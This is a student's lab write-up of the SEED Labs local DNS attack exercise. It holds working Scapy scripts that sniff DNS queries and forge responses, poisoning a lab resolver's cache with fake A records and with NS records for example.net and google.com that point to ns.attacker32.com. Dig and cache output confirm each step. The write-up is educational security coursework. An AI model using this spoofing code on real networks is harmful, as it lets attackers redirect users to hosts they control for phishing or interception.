Local DNS Attacks

By: Joey Bauer

Lab - https://seedsecuritylabs.org/Labs_20.04/Networking/DNS/DNS_Local/

Task 1; Directly Spoofing Response to User

Write the code and change the interface to the 10.9.0.x network;

```
    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                ttl=259200, rdata='10.0.2.5')

    # The Authority Section
    NSsec1 = DNSRR(rrname='example.net', type='NS',
                   ttl=259200, rdata='ns1.example.net')
    NSsec2 = DNSRR(rrname='example.net', type='NS',
                   ttl=259200, rdata='ns2.example.net')

    # The Additional Section
    Addsec1 = DNSRR(rrname='ns1.example.net', type='A',
                    ttl=259200, rdata='1.2.3.4')
    Addsec2 = DNSRR(rrname='ns2.example.net', type='A',
                    ttl=259200, rdata='5.6.7.8')

    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                qdcount=1, ancount=1, nscount=2, arcount=2,
                an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)

    # Construct the entire IP packet and send it out
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and dst port 53'
pkt = sniff(iface='br-f3c28b140068', filter=f, prn=spoof_dns)
```

Before we activate the sniffer;

```
VCTM>dig @ns.attacker32.com www.example.net

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.net
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 16708
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 9bc7bd0e3ce18baf0100000065f9fde8dbffe89caaff0e0c (good)
;; QUESTION SECTION:
;www.example.net.               IN      A

;; Query time: 160 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Tue Mar 19 21:04:40 UTC 2024
;; MSG SIZE  rcvd: 72
```

After the sniffer;

```
VCTM>dig @ns.attacker32.com www.example.net

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.net
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 13469
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.example.net.               IN      A

;; ANSWER SECTION:
www.example.net.        259200  IN      A       10.0.2.5

;; AUTHORITY SECTION:
example.net.            259200  IN      NS      ns1.example.net.
example.net.            259200  IN      NS      ns2.example.net.

;; ADDITIONAL SECTION:
ns1.example.net.        259200  IN      A       1.2.3.4
ns2.example.net.        259200  IN      A       5.6.7.8

;; Query time: 8 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Tue Mar 19 21:04:03 UTC 2024
;; MSG SIZE  rcvd: 206
```

```
Att>./dns_sniff_spoof.py
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
```

Task 2; DNS Cache Poisoning Attack - Spoofing Answers

Adjust the code to point to the hacker NS and ensure the IFace is consistent.

```
  GNU nano 4.8                          dns_sniff_spoof_task2.py
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
  if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname.decode('utf-8')):

    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    # Swap the source and destination port number
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                ttl=259200, rdata='1.2.3.4')

    # The Authority Section
    NSsec1 = DNSRR(rrname='www.example.net', type='NS',
                   ttl=259200, rdata='ns.attacker32.com')

    # The Additional Section

    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                qdcount=1, ancount=1, nscount=1, arcount=0,
                an=Anssec, ns=NSsec1)

    # Construct the entire IP packet and send it out
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and dst port 53'
pkt = sniff(iface='br-f3c28b140068', filter=f, prn=spoof_dns)
```

Run the program and check the cache, cleared before we started this task;

```
;       192.33.4.12 [srtt 8] [flags 00000000] [edns 0/0/0/0/0] [plain 0/0] [ttl 1784]
;       192.33.14.30 [srtt 9] [flags 00000000] [edns 0/0/0/0/0] [plain 0/0] [ttl 1784]
;       192.55.83.30 [srtt 9] [flags 00000000] [edns 0/0/0/0/0] [plain 0/0] [ttl 1784]
;       192.35.51.30 [srtt 21] [flags 00000000] [edns 0/0/0/0/0] [plain 0/0] [ttl 1784]
;       192.26.92.30 [srtt 4] [flags 00000000] [edns 0/0/0/0/0] [plain 0/0] [ttl 1784]
;       2001:500:2::c [srtt 211745] [flags 00000000] [edns 0/1/1/1/1] [plain 0/0] [ttl 1784]
;       199.43.135.53 [srtt 15662] [flags 00004000] [edns 1/0/0/0/0] [plain 0/0] [udpsize 512] [ttl 1784
]
;       2001:503:231d::2:30 [srtt 162520] [flags 00000000] [edns 0/1/1/1/1] [plain 0/0] [ttl 1784]
;       2001:503:d2d::30 [srtt 49480] [flags 00000000] [edns 0/1/1/1/1] [plain 0/0] [ttl 1784]
;       2001:dc3::35 [srtt 193670] [flags 00000000] [edns 0/1/1/1/1] [plain 0/0] [ttl 1784]
;       2001:503:ba3e::2:30 [srtt 169568] [flags 00000000] [edns 0/1/1/1/1] [plain 0/0] [ttl 1784]
;       198.97.190.53 [srtt 5] [flags 00000000] [edns 0/0/0/0/0] [plain 0/0] [ttl 1784]
;       2001:500:2d::d [srtt 156892] [flags 00000000] [edns 0/1/1/1/1] [plain 0/0] [ttl 1784]
;       199.9.14.201 [srtt 14] [flags 00000000] [edns 0/0/0/0/0] [plain 0/0] [ttl 1784]
;       192.5.6.30 [srtt 28] [flags 00000000] [edns 0/0/0/0/0] [plain 0/0] [ttl 1784]
;       2001:500:8f::53 [srtt 85330] [flags 00000000] [edns 0/2/2/2/2] [plain 0/0] [ttl 1784]
;       2001:500:856e::30 [srtt 229730] [flags 00000000] [edns 0/1/1/1/1] [plain 0/0] [ttl 1784]
;       193.0.14.129 [srtt 15] [flags 00000000] [edns 0/0/0/0/0] [plain 0/0] [ttl 1784]
;       192.54.112.30 [srtt 5] [flags 00000000] [edns 0/0/0/0/0] [plain 0/0] [ttl 1784]
;       199.7.91.13 [srtt 30] [flags 00000000] [edns 0/0/0/0/0] [plain 0/0] [ttl 1784]
;       2001:500:1::53 [srtt 238320] [flags 00000000] [edns 0/2/2/2/2] [plain 0/0] [ttl 1784]
;       2001:500:2f::f [srtt 107978] [flags 00000000] [edns 0/1/1/1/1] [plain 0/0] [ttl 1784]
;       192.58.128.30 [srtt 6] [flags 00000000] [edns 0/0/0/0/0] [plain 0/0] [ttl 1784]
;       2001:503:39c1::30 [srtt 153280] [flags 00000000] [edns 0/1/1/1/1] [plain 0/0] [ttl 1784]
;       192.48.79.30 [srtt 30] [flags 00000000] [edns 0/0/0/0/0] [plain 0/0] [ttl 1784]
;       2001:500:12::d0d [srtt 143608] [flags 00000000] [edns 0/1/1/1/1] [plain 0/0] [ttl 1784]
;       2001:503:c27::2:30 [srtt 248803] [flags 00000000] [edns 0/1/1/1/1] [plain 0/0] [ttl 1784]
;       2001:500:200::b [srtt 135175] [flags 00000000] [edns 0/1/1/1/1] [plain 0/0] [ttl 1784]
;       192.5.5.241 [srtt 17] [flags 00000000] [edns 0/0/0/0/0] [plain 0/0] [ttl 1784]
;       2001:503:d414::30 [srtt 66670] [flags 00000000] [edns 0/1/1/1/1] [plain 0/0] [ttl 1784]
;
```

We can see it populated with record data that we filled in.

Task 3; Spoofing NS Records

Here I was able to set the Authority record to ns.attacker32.com

```
;; AUTHORITY SECTION:
www.example.net.        259200  IN      NS      ns.attacker32.com.
```

This is done by writing an NS type section.

```
# The Authority Section
NSsec1 = DNSRR(rrname='www.example.net', type='NS',
               ttl=259200, rdata='ns.attacker32.com')
```

We can verify the cache and see that our NS is still spoofed;

```
; authauthority
www.example.net.        702787  NS      ns.attacker32.com.
```

Task 4; Spoofing NS Records for Another Domain

To add another domain I first needed to edit my code to account for the new domain, so we did google.com to stick with the lab;

```
NSsec2 = DNSRR(rrname='www.google.com', type='NS',
               ttl=259200, rdata='ns.attacker32.com')
```

```
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
             qdcount=1, ancount=1, nscount=2, arcount=0,
             an=Anssec, ns=NSsec1/NSsec2)
```

Now we run the program again with a dig to the new domain and check the cache (Cleared before starting this task);

```
VCTM>dig www.google.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48808
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 0

;; QUESTION SECTION:
;www.google.com.                        IN      A

;; ANSWER SECTION:
www.google.com.         259200  IN      A       1.2.3.4

;; AUTHORITY SECTION:
www.example.net.        259200  IN      NS      ns.attacker32.com.
www.google.com.         259200  IN      NS      ns.attacker32.com.

;; Query time: 8 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Mar 21 18:58:16 UTC 2024
;; MSG SIZE  rcvd: 153
```

The program is outputting showing that it is working;

```
^CAtt>./dns_sniff_spoof_task2.py
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
```

Task 5; Spoofing Record in the Additional Section

First we added in the additional section with all the rrnames, and assigned the A records or ip addresses.

```
# The Additional Section
Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',
                ttl=259200, rdata='1.2.3.4')

Addsec2 = DNSRR(rrname='ns.example.net', type='A',
                ttl=259200, rdata='5.6.7.8')

Addsec3 = DNSRR(rrname='www.facebook.com', type='A',
                ttl=259200, rdata='3.4.5.6')
```

Then I construct the packet to include this additional section including the correct count for the different sections;

```
# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
             qdcount=1, ancount=1, nscount=2, arcount=3,
             an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2/Addsec3)
```

Then we will run the program and see the results;

```
VCTM>dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38652
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL
: 3

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; AUTHORITY SECTION:
www.example.net.        259200  IN      NS      ns.attacker32.
com.
www.google.com.         259200  IN      NS      ns.attacker32.
com.

;; ADDITIONAL SECTION:
ns.attacker32.com.      259200  IN      A       1.2.3.4
ns.example.net.         259200  IN      A       5.6.7.8
www.facebook.com.       259200  IN      A       3.4.5.6

;; Query time: 52 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Mar 21 19:29:00 UTC 2024
;; MSG SIZE  rcvd: 250
```

The program gives the correct output response;

```
ATT>./dns_sniff_spoof_task3.py
.
Sent 1 packets.
.
Sent 1 packets.
```